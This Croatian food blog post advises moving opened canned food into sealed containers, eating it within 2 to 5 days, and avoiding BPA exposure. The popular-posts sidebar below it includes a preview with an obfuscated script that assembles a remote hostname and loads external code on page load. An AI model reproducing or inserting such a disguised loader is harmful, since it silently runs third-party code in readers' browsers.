GDJE GRIJEŠIMO KADA OTVORIMO KONZERVU PA JE SPREMIMO U HLADNJAK?




Gdje griješimo kada otvorimo konzervu pa je spremimo u hladnjak?




Kupili ste konzervu tune ili graha, pojeli pola i samo je vratili u hladnjak 'za kasnije'? Vjerojatno ste se barem jednom pitali radite li time nešto pogrešno, je li takvu limenku sigurno ostaviti otvorenu ili bi sav sadržaj zapravo trebalo odmah prebaciti u staklenu ili plastičnu posudu s poklopcem. Stručnjaci kažu da se otvorena konzerva može kratko zadržati u hladnjaku, ali samo ako je pravilno pokrijete i limenku izvana obrišete, dok je za okus, miris i dugoročno zdravlje ipak bolji izbor - nova, čista ambalaža.





Zašto je bolje prebaciti hranu u posudu?

Preporučuje se da se ostatci iz konzerve što prije premjeste u staklenu ili kvalitetnu plastičnu posudu s poklopcem, jer tako štitite hranu od kisika, bakterija i mirisa iz hladnjaka. Hermetički zatvorene posude čuvaju aromu i strukturu hrane, pa tunjevina, grah ili slanutak ne poprime užegli okus i 'ustajali' miris koji se često javlja kada duže stoje u otvorenoj limenci.




Koliko dugo hrana iz konzerve može stajati?

Opće pravilo kaže da većinu namirnica iz otvorene konzerve u hladnjaku treba pojesti u roku od 2 do 5 dana, ovisno o vrsti hrane i uvjetima čuvanja. Paštete, riba u konzervi, mesne prerađevine i gotova jela sigurnije su ako ih potrošite unutar 24 sata, dok kuhani grah, mahunarke ili kukuruz u dobro zatvorenoj posudi u pravilu mogu izdržati nekoliko dana.



Skrivena priča: limenke, kemikalije i zdravlje

Premda su konzerve praktične i često nutritivno sasvim korektne, dio stručnjaka upozorava na kemikalije iz ambalaže, poput bisfenola A (BPA), koje mogu migrirati u sadržaj, osobito kod masnije hrane ili kod zagrijavanja u samoj konzervi.zdravlje. Zato se savjetuje da hranu iz konzerve ne grijete direktno u limenci, da ne koristite ulje ili tekućinu iz konzerve kao začin i da, kad god možete, birate staklenu ambalažu ili proizvode označene kao 'BPA free'.

Preporuka je ostatke što prije prebaciti u hermetički zatvorene staklene ili kvalitetne plastične posude, a potom ih u hladnjaku čuvati najviše od dva do pet dana, ovisno o vrsti namirnice.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više